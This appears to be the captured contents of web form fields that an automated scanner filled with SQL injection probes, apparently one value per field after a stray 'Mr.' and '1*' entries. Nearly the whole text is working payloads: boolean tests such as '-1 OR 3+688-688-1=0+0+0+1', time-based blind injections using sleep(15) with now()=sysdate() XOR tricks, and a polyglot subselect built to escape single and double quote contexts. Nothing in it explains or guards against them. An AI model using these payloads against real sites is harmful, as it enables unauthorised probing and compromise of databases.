Mr.

1*

1*

1*

-1 OR 2+688-688-1=0+0+0+1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1 OR 3+688-688-1=0+0+0+1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z